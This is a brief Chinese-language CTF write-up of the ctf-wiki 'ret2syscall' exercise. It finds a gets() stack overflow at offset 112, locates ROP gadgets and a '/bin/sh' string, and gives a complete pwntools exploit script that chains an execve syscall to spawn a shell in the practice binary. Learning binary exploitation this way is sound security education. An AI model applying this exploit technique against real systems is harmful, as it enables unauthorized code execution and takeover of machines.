ret2syscall

ctf-wiki
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic-rop-zh/
checksec,查看程序保护机制,开了NX


ida,main 函数,f5

gets 函数,存在栈溢出,先算一下偏移量为112

发现 no system and no shellcode,即无法直接利用程序中某段代码或自己填写代码来获取 shell,所以这题需要用系统调用,利用程序中的 gadgets 来获取 shell。
这题用如下系统调用来获取 shell
execve("/bin/sh",NULL,NULL)

所以需要使
eax:为 execve 系统调用号即0xb
ebx:指向 "/bin/sh" 的地址
ecx:为NULL即0
edx:为NULL即0
接下来需要利用 ROPgadget 工具来寻找 eax, ebx, ecx, edx 的地址

找 eax 地址为 0x080bb196



找 ebx, ecx, edx 地址为 0x0806eb90



找 "/bin/sh" 地址为 0x080be408

找 int 0x80 地址为 0x08049421


exp

#!/usr/bin/env python
#-*- coding:utf-8 -*-
from pwn import *

sh = process('./ret2syscall')

eax = 0x080bb196
edx_ecx_ebx = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x080be408

payload = "a"*112
payload += p32(eax) + p32(0xb)
payload += p32(edx_ecx_ebx) + p32(0) + p32(0) + p32(binsh)
payload += p32(int_0x80)
sh.sendline(payload)
sh.interactive()

exp运行


你可能感兴趣的:(ret2syscall)